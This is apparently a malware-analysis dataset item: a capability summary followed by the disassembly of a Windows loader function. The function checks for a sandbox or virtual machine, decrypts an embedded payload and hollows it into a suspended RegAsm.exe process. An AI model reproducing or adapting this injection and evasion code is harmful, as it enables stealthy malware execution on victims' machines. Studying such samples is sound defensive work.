Function at 0x401696
Capabilities:
Enumerate pe sections
Inspect section memory permissions
Link many functions at runtime
Query environment variable

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x5c8
call dbg.__main
mov dword [ebp - 0x1c], 0
jmp 0x4016d3
mov dword [esp + 4], 0xfbb
mov dword [esp], 0x8baa8
call fcn.0040159f
add dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 0x1d
jle 0x4016bb
call sym.IsSandbox__
test al, al
je 0x4016ee
mov dword [esp], 0
call sym._exit
call sym.IsVirtualMachine__
test al, al
je 0x401703
mov dword [esp], 0
call sym._exit
mov dword [esp + 0xc], 8
mov dword [esp + 8], 0x421000
lea eax, [ebp - 0x560]
mov dword [esp + 4], eax
mov dword [esp], 0x42105e
call fcn.00401500
lea eax, [ebp - 0x560]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0x48], eax
mov dword [esp + 0xc], 5
mov dword [esp + 8], 0x421004
lea eax, [ebp - 0x560]
mov dword [esp + 4], eax
mov dword [esp], 0x421117
call fcn.00401500
lea eax, [ebp - 0x560]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x48]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x4c], eax
mov dword [esp + 4], 0x8499f
mov dword [esp], 0x601
call fcn.0040159f
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x50], eax
mov dword [esp], 0x7d0
mov eax, dword [ebp - 0x50]
call eax
sub esp, 4
mov dword [ebp - 0x20], 0
jmp 0x4017cc
mov dword [esp + 4], 0x309
mov dword [esp], 0x9c
call fcn.0040159f
add dword [ebp - 0x20], 1
cmp dword [ebp - 0x20], 0x1d
jle 0x4017b4
call sym.UseHsl__
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0xf8]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x5a4]
mov dword [esp], eax
call sym._memset
mov dword [esp + 4], 0xfbb
mov dword [esp], 0x8baa8
call fcn.0040159f
mov dword [ebp - 0x5a4], 0x44
mov dword [esp], str.WINDIR
call sym._getenv
mov dword [esp + 4], eax
lea eax, [ebp - 0x4e0]
mov dword [esp], eax
call sym._strcpy
lea eax, [ebp - 0x4e0]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x4e0]
add eax, edx
mov dword [eax], 0x63694d5c
mov dword [eax + 4], 0x6f736f72
mov dword [eax + 8], 0x4e2e7466
mov dword [eax + 0xc], 0x465c5445
mov dword [eax + 0x10], 0x656d6172
mov dword [eax + 0x14], 0x6b726f77
mov dword [eax + 0x18], 0x2e32765c
mov dword [eax + 0x1c], 0x30352e30
mov dword [eax + 0x20], 0x5c373237
mov dword [eax + 0x24], 0x41676552
mov dword [eax + 0x28], 0x652e6d73
mov word [eax + 0x2c], 0x6578
mov byte [eax + 0x2e], 0
mov dword [esp + 0xc], 0xe
mov dword [esp + 8], 0x42100f
lea eax, [ebp - 0x560]
mov dword [esp + 4], eax
mov dword [esp], 0x42107f
call fcn.00401500
lea eax, [ebp - 0x560]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x48]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x54], eax
mov dword [esp + 4], 0x9ceb
mov dword [esp], 0xe6e61
call fcn.0040159f
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0xf8]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x5a4]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [ebp - 0x4e0]
mov dword [esp], eax
mov eax, dword [ebp - 0x58]
call eax
sub esp, 0x28
mov eax, dword [ebp - 0xf8]
test eax, eax
jne 0x401998
mov eax, 1
jmp 0x402971
mov eax, 0x9400
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call sym.operator_new___unsigned_int_
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x5c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sym._memset
mov dword [esp + 0x10], 0x42a550
mov dword [esp + 0xc], str.36a29ef930faaa12
mov eax, dword [ebp - 0x5c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x421140
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sym.__Z15AES_CBC_DecryptPhPKhiS1_S1__20
sub esp, 0x14
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x64], eax
mov dword [esp + 4], 0x37d
mov dword [esp], 0x9d
call fcn.0040159f
mov eax, dword [ebp - 0x64]
mov edx, dword [eax + 0x3c]
mov eax, dword [ebp - 0x60]
add eax, edx
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x68]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x6c], eax
mov dword [esp + 8], 0x2cc
mov dword [esp + 4], 0
lea eax, [ebp - 0x3dc]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x3dc], 0x10002
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.bhflrhelw
lea eax, [ebp - 0x560]
mov dword [esp + 4], eax
mov dword [esp], 0x4210be
call fcn.00401500
lea eax, [ebp - 0x560]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x48]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x70], eax
mov dword [esp + 4], 0x2635
mov dword [esp], 0x9905
call fcn.0040160b
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0xf4]
lea edx, [ebp - 0x3dc]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [ebp - 0x74]
call eax
sub esp, 8
test eax, eax
sete al
test al, al
je 0x401aea
cmp dword [ebp - 0x60], 0
je 0x401ae0
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sym.operator_delete___void_
mov eax, 1
jmp 0x402971
mov eax, dword [ebp - 0x338]
mov edx, 8
add eax, edx
mov dword [ebp - 0x78], eax
mov dword [esp + 0xc], 0x11
mov dword [esp + 8], str.cg39ts9a
lea eax, [ebp - 0x560]
mov dword [esp + 4], eax
mov dword [esp], 0x421106
call fcn.00401500
lea eax, [ebp - 0x560]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x48]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x7c], eax
mov dword [esp + 4], 0x1dd9
mov dword [esp], 0x4db
call fcn.0040159f
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0xf8]
lea edx, [ebp - 0xfc]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
lea edx, [ebp - 0x100]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x78]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [ebp - 0x80]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x401baf
cmp dword [ebp - 0x60], 0
je 0x401ba5
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sym.operator_delete___void_
mov eax, 1
jmp 0x402971
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x6c]
cmp eax, dword [ebp - 0x84]
jne 0x401ca0
mov dword [esp + 0xc], 5
mov dword [esp + 8], 0x42102b
lea eax, [ebp - 0x560]
mov dword [esp + 4], eax
mov dword [esp], 0x421066
call fcn.00401500
lea eax, [ebp - 0x560]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x88], eax
mov dword [esp + 0xc], 0x14
mov dword [esp + 8], str.q1w2e3
lea eax, [ebp - 0x560]
mov dword [esp + 4], eax
mov dword [esp], 0x42106b
call fcn.00401500
lea eax, [ebp - 0x560]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x88]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0xf8]
mov edx, dword [ebp - 0x84]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [ebp - 0x90]
call eax
sub esp, 8
test eax, eax
setne al
test al, al
je 0x401ca0
cmp dword [ebp - 0x60], 0
je 0x401c96
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sym.operator_delete___void_
mov eax, 1
jmp 0x402971
mov dword [esp + 0xc], 0xe
mov dword [esp + 8], str.tyghbnf_
lea eax, [ebp - 0x560]
mov dword [esp + 4], eax
mov dword [esp], 0x42108d
call fcn.00401500
lea eax, [ebp - 0x560]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x48]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x94], eax
mov dword [esp + 4], 0xc
mov dword [esp], 0x21e0
call fcn.0040160b
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x68]
mov ecx, dword [eax + 0x50]
mov edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0xf8]
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [ebp - 0x98]
call eax
sub esp, 0x14
mov dword [ebp - 0x104], eax
mov eax, dword [ebp - 0x104]
test eax, eax
sete al
test al, al
je 0x401de8
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
cmp eax, 0x1e7
sete al
test al, al
je 0x401dcd
mov eax, dword [ebp - 0x68]
mov edx, dword [eax + 0x50]
mov eax, dword [ebp - 0xf8]
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [ebp - 0x98]
call eax
sub esp, 0x14
mov dword [ebp - 0x104], eax
mov eax, dword [ebp - 0x104]
test eax, eax
sete al
test al, al
je 0x401de8
cmp dword [ebp - 0x60], 0
je 0x401dc3
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sym.operator_delete___void_
mov eax, 1
jmp 0x402971
cmp dword [ebp - 0x60], 0
je 0x401dde
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sym.operator_delete___void_
mov eax, 1
jmp 0x402971
mov dword [esp + 0xc], 0x12
mov dword [esp + 8], str.qzxcvhhs
lea eax, [ebp - 0x560]
mov dword [esp + 4], eax
mov dword [esp], 0x42109b
call fcn.00401500
lea eax, [ebp - 0x560]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x48]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0x9c], eax
mov dword [esp + 4], 0xb979
mov dword [esp], 0xd568d
call fcn.0040159f
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x104]
cmp dword [ebp - 0x84], eax
je 0x401eb7
mov eax, dword [ebp - 0xf8]
lea edx, [ebp - 0x110]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
lea edx, [ebp - 0x104]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0x78]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [ebp - 0xa0]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x401eb7
cmp dword [ebp - 0x60], 0
je 0x401ead
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sym.operator_delete___void_
mov eax, 1
jmp 0x402971
mov eax, dword [ebp - 0x68]
mov word [eax + 0x5c], 2
mov edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x104]
cmp edx, eax
je 0x4022a1
mov eax, dword [ebp - 0x68]
movzx eax, word [eax + 0x16]
movzx eax, ax
and eax, 1
test eax, eax
je 0x401efd
cmp dword [ebp - 0x60], 0
je 0x401ef3
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sym.operator_delete___void_
mov eax, 1
jmp 0x402971
mov eax, dword [ebp - 0x104]
mov edx, eax
mov eax, dword [ebp - 0x68]
mov dword [eax + 0x34], edx
mov dword [esp + 4], 0x245
mov dword [esp], 0xe321
call fcn.0040160b
mov eax, dword [ebp - 0x68]
mov eax, dword [eax + 0xa0]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0x68]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0x68]
add eax, edx
add eax, 0x18
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
jmp 0x402007
mov edx, dword [ebp - 0x28]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0xa8]
add eax, edx
mov eax, dword [eax + 0xc]
cmp eax, dword [ebp - 0xa4]
ja 0x402003
mov edx, dword [ebp - 0x28]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0xa8]
add eax, edx
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0x28]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0xa8]
add eax, edx
mov eax, dword [eax + 8]
add eax, ecx
cmp eax, dword [ebp - 0xa4]
jbe 0x402003
mov edx, dword [ebp - 0x28]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0xa8]
add eax, edx
mov edx, dword [eax + 0x14]
mov eax, dword [ebp - 0xa4]
lea ecx, [edx + eax]
mov edx, dword [ebp - 0x28]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0xa8]
add eax, edx
mov eax, dword [eax + 0xc]
sub ecx, eax
mov eax, ecx
mov dword [ebp - 0x24], eax
jmp 0x40201a
add dword [ebp - 0x28], 1
mov eax, dword [ebp - 0x68]
movzx eax, word [eax + 6]
movzx eax, ax
cmp eax, dword [ebp - 0x28]
ja 0x401f59
mov dword [esp + 4], 0x245
mov dword [esp], 0xe321
call fcn.0040160b
mov edx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x24]
add eax, edx
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0x68]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0xb0], eax
mov dword [esp + 4], 0x245
mov dword [esp], 0xe321
call fcn.0040160b
mov dword [ebp - 0x2c], 0
jmp 0x402292
mov edx, dword [ebp - 0xac]
mov eax, dword [ebp - 0x2c]
add eax, edx
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0xb4]
add eax, 4
add eax, 4
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax + 4]
sub eax, 4
sub eax, 4
shr eax, 1
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x30], 0
jmp 0x402277
mov eax, dword [ebp - 0x30]
lea edx, [eax + eax]
mov eax, dword [ebp - 0xc0]
add eax, edx
movzx eax, word [eax]
shr ax, 0xc
mov word [ebp - 0xc2], ax
mov eax, dword [ebp - 0x30]
lea edx, [eax + eax]
mov eax, dword [ebp - 0xc0]
add eax, edx
movzx eax, word [eax]
and ax, 0xfff
mov word [ebp - 0xc4], ax
cmp word [ebp - 0xc2], 3
je 0x40210d
cmp word [ebp - 0xc2], 0xa
jne 0x402273
mov eax, dword [ebp - 0xb4]
mov edx, dword [eax]
movzx eax, word [ebp - 0xc4]
add eax, edx
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x68]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0x68]
add eax, edx
add eax, 0x18
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x38], 0
jmp 0x4021fd
mov edx, dword [ebp - 0x38]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0xa8]
add eax, edx
mov eax, dword [eax + 0xc]
cmp eax, dword [ebp - 0xc8]
ja 0x4021f9
mov edx, dword [ebp - 0x38]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0xa8]
add eax, edx
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0x38]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0xa8]
add eax, edx
mov eax, dword [eax + 8]
add eax, ecx
cmp eax, dword [ebp - 0xc8]
jbe 0x4021f9
mov edx, dword [ebp - 0x38]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0xa8]
add eax, edx
mov edx, dword [eax + 0x14]
mov eax, dword [ebp - 0xc8]
lea ecx, [edx + eax]
mov edx, dword [ebp - 0x38]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0xa8]
add eax, edx
mov eax, dword [eax + 0xc]
sub ecx, eax
mov eax, ecx
mov dword [ebp - 0x34], eax
jmp 0x402210
add dword [ebp - 0x38], 1
mov eax, dword [ebp - 0x68]
movzx eax, word [eax + 6]
movzx eax, ax
cmp eax, dword [ebp - 0x38]
ja 0x40214f
mov edx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x34]
add eax, edx
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
sub eax, dword [ebp - 0x6c]
mov edx, eax
mov eax, dword [ebp - 0xcc]
mov dword [eax], edx
mov dword [esp + 4], 0x293
mov dword [esp], 0x173
call fcn.0040159f
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov edx, dword [ebp - 0x104]
add edx, eax
mov eax, dword [ebp - 0xcc]
mov dword [eax], edx
mov dword [esp + 4], 0x293
mov dword [esp], 0x173
call fcn.0040159f
add dword [ebp - 0x30], 1
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0xbc]
jb 0x4020bd
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax + 4]
add dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0xb0]
jb 0x40206b
mov eax, dword [ebp - 0x68]
mov eax, dword [eax + 0x28]
mov edx, dword [ebp - 0x104]
add eax, edx
mov dword [ebp - 0x32c], eax
mov dword [esp + 4], 0x245
mov dword [esp], 0xe321
call fcn.0040160b
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.37dcksshsz
lea eax, [ebp - 0x560]
mov dword [esp + 4], eax
mov dword [esp], 0x4210ce
call fcn.00401500
lea eax, [ebp - 0x560]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x48]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xd0], eax
mov dword [esp + 4], 0x293
mov dword [esp], 0x173
call fcn.0040159f
mov eax, dword [ebp - 0xd0]
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xf4]
lea edx, [ebp - 0x3dc]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [ebp - 0xd4]
call eax
sub esp, 8
test eax, eax
sete al
test al, al
je 0x402371
cmp dword [ebp - 0x60], 0
je 0x402367
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sym.operator_delete___void_
mov eax, 1
jmp 0x402971
mov eax, dword [ebp - 0x68]
mov ecx, dword [eax + 0x54]
mov edx, dword [ebp - 0x104]
mov eax, dword [ebp - 0xf8]
lea ebx, [ebp - 0x108]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], ecx
mov ecx, dword [ebp - 0x60]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [ebp - 0xa0]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x4023ce
cmp dword [ebp - 0x60], 0
je 0x4023c4
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sym.operator_delete___void_
mov eax, 1
jmp 0x402971
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.cnsla
lea eax, [ebp - 0x560]
mov dword [esp + 4], eax
mov dword [esp], 0x4210f6
call fcn.00401500
lea eax, [ebp - 0x560]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x48]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [ebp - 0xd8], eax
mov dword [esp + 4], 0x293
mov dword [esp], 0x173
call fcn.0040159f
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0xdc], eax
mov dword [esp + 4], 0x293
mov dword [esp], 0x173
call fcn.0040159f
mov eax, dword [ebp - 0x68]
mov ecx, dword [eax + 0x54]
mov edx, dword [ebp - 0x104]
mov eax, dword [ebp - 0xf8]
lea ebx, [ebp - 0x10c]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 2
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [ebp - 0xdc]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x4024a6
cmp dword [ebp - 0x60], 0
je 0x40249c
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sym.operator_delete___void_
mov eax, 1
jmp 0x402971
mov eax, dword [ebp - 0x64]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 0x60]
add eax, edx
add eax, 0xf8
mov dword [ebp - 0xe0], eax
mov dword [esp + 4], 0x293
mov dword [esp], 0x173
call fcn.0040159f
mov dword [ebp - 0x3c], 0
jmp 0x402898
mov edx, dword [ebp - 0x3c]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0xe0]
add eax, edx
mov ecx, dword [eax + 0x10]
mov edx, dword [ebp - 0x3c]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0xe0]
add eax, edx
mov edx, dword [eax + 0x14]
mov eax, dword [ebp - 0x60]
add eax, edx
mov esi, eax
mov edx, dword [ebp - 0x3c]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0xe0]
add eax, edx
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 0x104]
add eax, edx
mov ebx, eax
mov eax, dword [ebp - 0xf8]
lea edx, [ebp - 0x108]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], ecx
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], eax
mov eax, dword [ebp - 0xa0]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x40258b
cmp dword [ebp - 0x60], 0
je 0x402581
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sym.operator_delete___void_
mov eax, 1
jmp 0x402971
mov dword [esp + 4], 0x293
mov dword [esp], 0x173
call fcn.0040159f
mov dword [ebp - 0x40], 0
mov eax, dword [ebp - 0x68]
movzx eax, word [eax + 6]
movzx eax, ax
sub eax, 1
cmp eax, dword [ebp - 0x3c]
jne 0x4025e1
mov eax, dword [ebp - 0x68]
mov ecx, dword [eax + 0x50]
mov edx, dword [ebp - 0x3c]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0xe0]
add eax, edx
mov eax, dword [eax + 0xc]
sub ecx, eax
mov eax, ecx
mov dword [ebp - 0x40], eax
jmp 0x40261f
mov eax, dword [ebp - 0x3c]
lea edx, [eax + 1]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0xe0]
add eax, edx
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0x3c]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0xe0]
add eax, edx
mov eax, dword [eax + 0xc]
sub ecx, eax
mov eax, ecx
mov dword [ebp - 0x40], eax
mov dword [esp + 4], 0x293
mov dword [esp], 0x173
call fcn.0040159f
mov dword [ebp - 0x44], 0
mov edx, dword [ebp - 0x3c]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0xe0]
add eax, edx
mov eax, dword [eax + 0x24]
and eax, 0x20000000
test eax, eax
je 0x4026aa
mov edx, dword [ebp - 0x3c]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0xe0]
add eax, edx
mov eax, dword [eax + 0x24]
and eax, 0x40000000
test eax, eax
je 0x4026aa
mov edx, dword [ebp - 0x3c]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0xe0]
add eax, edx
mov eax, dword [eax + 0x24]
test eax, eax
jns 0x4026aa
mov dword [ebp - 0x44], 0x40
jmp 0x40281c
mov edx, dword [ebp - 0x3c]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0xe0]
add eax, edx
mov eax, dword [eax + 0x24]
and eax, 0x20000000
test eax, eax
je 0x4026fc
mov edx, dword [ebp - 0x3c]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0xe0]
add eax, edx
mov eax, dword [eax + 0x24]
and eax, 0x40000000
test eax, eax
je 0x4026fc
mov dword [ebp - 0x44], 0x20
jmp 0x40281c
mov edx, dword [ebp - 0x3c]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0xe0]
add eax, edx
mov eax, dword [eax + 0x24]
and eax, 0x20000000
test eax, eax
je 0x402749
mov edx, dword [ebp - 0x3c]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0xe0]
add eax, edx
mov eax, dword [eax + 0x24]
test eax, eax
jns 0x402749
mov dword [ebp - 0x44], pe_nt_image_headers32
jmp 0x40281c
mov edx, dword [ebp - 0x3c]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0xe0]
add eax, edx
mov eax, dword [eax + 0x24]
and eax, 0x40000000
test eax, eax
je 0x402796
mov edx, dword [ebp - 0x3c]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0xe0]
add eax, edx
mov eax, dword [eax + 0x24]
test eax, eax
jns 0x402796
mov dword [ebp - 0x44], 4
jmp 0x40281c
mov edx, dword [ebp - 0x3c]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0xe0]
add eax, edx
mov eax, dword [eax + 0x24]
and eax, 0x20000000
test eax, eax
je 0x4027c2
mov dword [ebp - 0x44], 0x10
jmp 0x40281c
mov edx, dword [ebp - 0x3c]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0xe0]
add eax, edx
mov eax, dword [eax + 0x24]
and eax, 0x40000000
test eax, eax
je 0x4027ee
mov dword [ebp - 0x44], 2
jmp 0x40281c
mov edx, dword [ebp - 0x3c]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0xe0]
add eax, edx
mov eax, dword [eax + 0x24]
test eax, eax
jns 0x402815
mov dword [ebp - 0x44], 8
jmp 0x40281c
mov dword [ebp - 0x44], 1
mov edx, dword [ebp - 0x3c]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
mov edx, eax
mov eax, dword [ebp - 0xe0]
add eax, edx
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 0x104]
add eax, edx
mov ecx, eax
mov eax, dword [ebp - 0xf8]
lea edx, [ebp - 0x10c]
mov dword [esp + 0x10], edx
mov edx, dword [ebp - 0x44]
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0x40]
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [ebp - 0xdc]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x402894
cmp dword [ebp - 0x60], 0
je 0x40288a
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sym.operator_delete___void_
mov eax, 1
jmp 0x402971
add dword [ebp - 0x3c], 1
mov eax, dword [ebp - 0x68]
movzx eax, word [eax + 6]
movzx eax, ax
cmp eax, dword [ebp - 0x3c]
jg 0x4024de
mov dword [esp + 0xc], 0xc
mov dword [esp + 8], str.chxlsw
lea eax, [ebp - 0x560]
mov dword [esp + 4], eax
